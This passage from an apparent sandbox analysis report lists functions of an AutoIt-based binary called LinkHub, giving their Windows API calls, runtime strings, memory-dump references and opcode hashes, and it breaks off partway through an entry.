                                                                            • API String ID: 2829977744-0
                                                                            • Opcode ID: 9fd14341032ba7dbfd6c6067af9445f9598ef041de0809377917c9815e3e7cd7
                                                                            • Instruction ID: 2252fbf82abca6cabd4a40ffa8c5e62920e47b7d71a51a3012dc8daefef2a05a
                                                                            • Opcode Fuzzy Hash: 9fd14341032ba7dbfd6c6067af9445f9598ef041de0809377917c9815e3e7cd7
                                                                            • Instruction Fuzzy Hash: D891E372E042569ADB208E64CC91EEEBBF9EF49354F1861A9EA11F7180E734DCC4C760
                                                                            Function 00E54F80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Variant$ClearInit
                                                                            • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                            • API String ID: 2610073882-625585964
                                                                            • Opcode ID: 60373a820ef33d33a263eac528ba2122ac6d9c1f8a1d3b676b26d7c40f8ecb8e
                                                                            • Instruction ID: 7100d3121452a1da35d398a996825a64eef09e3689a541ad971aa80290c09f94
                                                                            • Opcode Fuzzy Hash: 60373a820ef33d33a263eac528ba2122ac6d9c1f8a1d3b676b26d7c40f8ecb8e
                                                                            • Instruction Fuzzy Hash: F5919F72A00A15ABCF20CFA5CC54FAFBBB8EF45315F109959F905BB290D7709949CBA0
                                                                            Function 00E41B46 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00E41C1B
                                                                            • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00E41C43
                                                                            • SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00E41C67
                                                                            • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00E41C97
                                                                            • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00E41D1E
                                                                            • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00E41D83
                                                                            • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00E41DEF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                                            • String ID:
                                                                            • API String ID: 2550207440-0
                                                                            • Opcode ID: 39e121933d2df19b2f269414472424f70a5408bf5c1e37fc6d556cd21058008a
                                                                            • Instruction ID: e7e707203421011ceed07466443b323715cd375455f1b6d17db5019b411dbb6b
                                                                            • Opcode Fuzzy Hash: 39e121933d2df19b2f269414472424f70a5408bf5c1e37fc6d556cd21058008a
                                                                            • Instruction Fuzzy Hash: E591FFB5A00218AFDF049F95E8C4BBEB7B4FF44715F1190A9E950FB291D774A980CB60
                                                                            Function 00E543A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VariantInit.OLEAUT32(?), ref: 00E543C8
                                                                            • CharUpperBuffW.USER32(?,?), ref: 00E544D7
                                                                            • _wcslen.LIBCMT ref: 00E544E7
                                                                            • VariantClear.OLEAUT32(?), ref: 00E5467C
                                                                              • Part of subcall function 00E4169E: VariantInit.OLEAUT32(00000000), ref: 00E416DE
                                                                              • Part of subcall function 00E4169E: VariantCopy.OLEAUT32(?,?), ref: 00E416E7
                                                                              • Part of subcall function 00E4169E: VariantClear.OLEAUT32(?), ref: 00E416F3
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                                                            • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                            • API String ID: 4137639002-1221869570
                                                                            • Opcode ID: 0062a1f5fdba1e45e9bebc58f3ce31ea6f1e436fad4d070382bc0e413b340e78
                                                                            • Instruction ID: 405fb41e4b40981dbc36a1de408b1506dcdf0f95f7b1757829bf3de3f56db63c
                                                                            • Opcode Fuzzy Hash: 0062a1f5fdba1e45e9bebc58f3ce31ea6f1e436fad4d070382bc0e413b340e78
                                                                            • Instruction Fuzzy Hash: 73917EB56083019FC700DF24C48096AB7E5FF89719F14991EF89AA7391DB31ED49CB62
                                                                            Function 00E5560A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E308FE: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?,?,00E30C4E), ref: 00E3091B
                                                                              • Part of subcall function 00E308FE: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?), ref: 00E30936
                                                                              • Part of subcall function 00E308FE: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?), ref: 00E30944
                                                                              • Part of subcall function 00E308FE: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?), ref: 00E30954
                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00E556AE
                                                                            • _wcslen.LIBCMT ref: 00E557B6
                                                                            • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00E5582C
                                                                            • CoTaskMemFree.OLE32(?), ref: 00E55837
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
                                                                            • String ID: NULL Pointer assignment
                                                                            • API String ID: 614568839-2785691316
                                                                            • Opcode ID: bf12b878dc1276a9c9e79e6c0129ca33b81ce676d69f588e153aca930c4b251e
                                                                            • Instruction ID: 1b6933bac737c4b3df1f518ec07a3d6059aaec9a73f221ff53935d6dcf3371cf
                                                                            • Opcode Fuzzy Hash: bf12b878dc1276a9c9e79e6c0129ca33b81ce676d69f588e153aca930c4b251e
                                                                            • Instruction Fuzzy Hash: A8910372D00219EBDF14DFA4DC91AEEBBB9EF08314F10456AE915B7251DB709A48CFA0
                                                                            Function 00E62B99 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenu.USER32(?), ref: 00E62C1F
                                                                            • GetMenuItemCount.USER32(00000000), ref: 00E62C51
                                                                            • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00E62C79
                                                                            • _wcslen.LIBCMT ref: 00E62CAF
                                                                            • GetMenuItemID.USER32(?,?), ref: 00E62CE9
                                                                            • GetSubMenu.USER32(?,?), ref: 00E62CF7
                                                                              • Part of subcall function 00E34393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E343AD
                                                                              • Part of subcall function 00E34393: GetCurrentThreadId.KERNEL32 ref: 00E343B4
                                                                              • Part of subcall function 00E34393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00E32F00), ref: 00E343BB
                                                                            • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E62D7F
                                                                              • Part of subcall function 00E3F292: Sleep.KERNEL32 ref: 00E3F30A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                                                            • String ID:
                                                                            • API String ID: 4196846111-0
                                                                            • Opcode ID: 8f30790ff6277b8a48ed11e3b0fd482fb7622a05eb5cee53b901ed8ffe2142ee
                                                                            • Instruction ID: 48c6c599da6802cb8ec424102d2eb19b5f5fdeb6af32035726c19a99f310751f
                                                                            • Opcode Fuzzy Hash: 8f30790ff6277b8a48ed11e3b0fd482fb7622a05eb5cee53b901ed8ffe2142ee
                                                                            • Instruction Fuzzy Hash: 1C71A975E00604AFCB10EF65D844AAEBBF1EF48354F109869E916FB351DB30AE418BA0
                                                                            Function 00E3B881 Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetParent.USER32(?), ref: 00E3B8C0
                                                                            • GetKeyboardState.USER32(?), ref: 00E3B8D5
                                                                            • SetKeyboardState.USER32(?), ref: 00E3B936
                                                                            • PostMessageW.USER32(?,00000101,00000010,?), ref: 00E3B964
                                                                            • PostMessageW.USER32(?,00000101,00000011,?), ref: 00E3B983
                                                                            • PostMessageW.USER32(?,00000101,00000012,?), ref: 00E3B9C4
                                                                            • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00E3B9E7
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                            • String ID:
                                                                            • API String ID: 87235514-0
                                                                            • Opcode ID: f14985ef372cbf100b867da6e638720b60d9a7e96f64193a55d65cfabff294f5
                                                                            • Instruction ID: 9e285acbd738baf87e31f19b6ba509e9108384df0534db56101bde4da9591715
                                                                            • Opcode Fuzzy Hash: f14985ef372cbf100b867da6e638720b60d9a7e96f64193a55d65cfabff294f5
                                                                            • Instruction Fuzzy Hash: 9B5106A0A087D53DFB364234CC4DBBABEA95F45308F089489E3D6658D2C3D89CC4D750
                                                                            Function 00E3B6A1 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetParent.USER32(00000000), ref: 00E3B6E0
                                                                            • GetKeyboardState.USER32(?), ref: 00E3B6F5
                                                                            • SetKeyboardState.USER32(?), ref: 00E3B756
                                                                            • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00E3B782
                                                                            • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00E3B79F
                                                                            • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00E3B7DE
                                                                            • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00E3B7FF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                            • String ID:
                                                                            • API String ID: 87235514-0
                                                                            • Opcode ID: e94439afc1af605860618fd5fe35eac8521dae1156cab5a0170dfaa7cc15be53
                                                                            • Instruction ID: e0131252da00573b26e25b4786db926f04dfe240470bdbc01a79ce70941cff65
                                                                            • Opcode Fuzzy Hash: e94439afc1af605860618fd5fe35eac8521dae1156cab5a0170dfaa7cc15be53
                                                                            • Instruction Fuzzy Hash: 885118A09087D53DFB364334CC1AB76BED89B45308F0C558AE2D66A8D2D3D4ED84D750
                                                                            Function 00E057A1 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,00E05F16,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 00E057E3
                                                                            • __fassign.LIBCMT ref: 00E0585E
                                                                            • __fassign.LIBCMT ref: 00E05879
                                                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 00E0589F
                                                                            • WriteFile.KERNEL32(?,FF8BC35D,00000000,00E05F16,00000000,?,?,?,?,?,?,?,?,?,00E05F16,?), ref: 00E058BE
                                                                            • WriteFile.KERNEL32(?,?,00000001,00E05F16,00000000,?,?,?,?,?,?,?,?,?,00E05F16,?), ref: 00E058F7
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                            • String ID:
                                                                            • API String ID: 1324828854-0
                                                                            • Opcode ID: 8428c3f3edc3f2b5e5ab6118629df2c8fda71d3c601faaf6ff280ad338d027f2
                                                                            • Instruction ID: f1136d96a8501d51e733d1bb47fe08269d561fddea020039e8a02a81837a4200
                                                                            • Opcode Fuzzy Hash: 8428c3f3edc3f2b5e5ab6118629df2c8fda71d3c601faaf6ff280ad338d027f2
                                                                            • Instruction Fuzzy Hash: E351AF71A046499FCB10CFA8D881AEEBBF8EF49310F14515AE951F7291D770A981CF60
                                                                            Function 00DF3090 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _ValidateLocalCookies.LIBCMT ref: 00DF30BB
                                                                            • ___except_validate_context_record.LIBVCRUNTIME ref: 00DF30C3
                                                                            • _ValidateLocalCookies.LIBCMT ref: 00DF3151
                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00DF317C
                                                                            • _ValidateLocalCookies.LIBCMT ref: 00DF31D1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                            • String ID: csm
                                                                            • API String ID: 1170836740-1018135373
                                                                            • Opcode ID: 9a9a69d74ef13a1896790d5df1423ab5a615fbfb8ee8cac06da9da02c5900a6f
                                                                            • Instruction ID: aa60b18bf86121958b259ed57ae1b7f94c829d245e61063110f0171a101f7ea6
                                                                            • Opcode Fuzzy Hash: 9a9a69d74ef13a1896790d5df1423ab5a615fbfb8ee8cac06da9da02c5900a6f
                                                                            • Instruction Fuzzy Hash: C7418F34A0031C9BCF10DF68C885AAEBBA5EF45314F1BC156EA196B292D731DB15CBB1
                                                                            Function 00E3D7AB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E3E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E3D7CD,?), ref: 00E3E714
                                                                              • Part of subcall function 00E3E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E3D7CD,?), ref: 00E3E72D
                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 00E3D7F0
                                                                            • MoveFileW.KERNEL32(?,?), ref: 00E3D82A
                                                                            • _wcslen.LIBCMT ref: 00E3D8B0
                                                                            • _wcslen.LIBCMT ref: 00E3D8C6
                                                                            • SHFileOperationW.SHELL32(?), ref: 00E3D90C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
                                                                            • String ID: \*.*
                                                                            • API String ID: 3164238972-1173974218
                                                                            • Opcode ID: b511cafc934bb579a7de478fdac812772424eb8dffc18c09437b12dce4e6c4ef
                                                                            • Instruction ID: fca5e0fd3bc64c9ffbd4bed23d37faee5e6676b64b19d5900fc54078a43f5c96
                                                                            • Opcode Fuzzy Hash: b511cafc934bb579a7de478fdac812772424eb8dffc18c09437b12dce4e6c4ef
                                                                            • Instruction Fuzzy Hash: 604142719092189EDF16EBA4DD85BDE77B8AF08380F1110EAE605FB141EA74B789CB50
                                                                            Function 00E442B9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetInputState.USER32 ref: 00E44310
                                                                            • TranslateAcceleratorW.USER32(?,00000000,?), ref: 00E44367
                                                                            • TranslateMessage.USER32(?), ref: 00E44390
                                                                            • DispatchMessageW.USER32(?), ref: 00E4439A
                                                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E443AB
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                                            • String ID: (
                                                                            • API String ID: 2256411358-2063206799
                                                                            • Opcode ID: 66d05f267943c3051352338f2c9b6382a4ef598241b4ddc59d52287b771e576a
                                                                            • Instruction ID: ef092cb9e3471acc954ee4c9cff80e9ecfca8bb0ccaa8570cf5cb6d7fd521d9a
                                                                            • Opcode Fuzzy Hash: 66d05f267943c3051352338f2c9b6382a4ef598241b4ddc59d52287b771e576a
                                                                            • Instruction Fuzzy Hash: EE31B8B0B04242DEEB258F39FC48BB777E8AB06708F04556DD562B25E0D7A4A84DCB11
                                                                            Function 00E63899 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00E638B8
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E638EB
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E63920
                                                                            • SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00E63952
                                                                            • SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00E6397C
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E6398D
                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E639A7
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LongWindow$MessageSend
                                                                            • String ID:
                                                                            • API String ID: 2178440468-0
                                                                            • Opcode ID: 4a909d8fb56aa367d993d4d520250d667d7b71a51dab6598dca98f0d86802ef2
                                                                            • Instruction ID: 169a90181787c75733f45a4e084301fc6a9de9d6f9111e7fb22f1fbc28975162
                                                                            • Opcode Fuzzy Hash: 4a909d8fb56aa367d993d4d520250d667d7b71a51dab6598dca98f0d86802ef2
                                                                            • Instruction Fuzzy Hash: 43313A347842519FDB25CF69EC84F6537E0FB8A794F142168F901AB2B5C7B0A948CF41
                                                                            Function 00E3808D Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E380D0
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E380F6
                                                                            • SysAllocString.OLEAUT32(00000000), ref: 00E380F9
                                                                            • SysAllocString.OLEAUT32(?), ref: 00E38117
                                                                            • SysFreeString.OLEAUT32(?), ref: 00E38120
                                                                            • StringFromGUID2.OLE32(?,?,00000028), ref: 00E38145
                                                                            • SysAllocString.OLEAUT32(?), ref: 00E38153
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                            • String ID:
                                                                            • API String ID: 3761583154-0
                                                                            • Opcode ID: c42ca3b2f39008575b64124ad5cd1d72db8c3d4d1c876491852c2b8b21710d7b
                                                                            • Instruction ID: bceb7d2226b925234d72e93516bf40efe1a99617c8f711c9a639bff305263461
                                                                            • Opcode Fuzzy Hash: c42ca3b2f39008575b64124ad5cd1d72db8c3d4d1c876491852c2b8b21710d7b
                                                                            • Instruction Fuzzy Hash: 80218372605219AF9F10DFA9DC88CBB77ACEB09364B448425FA15EB290DAB0DD46C760
                                                                            Function 00E38164 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E381A9
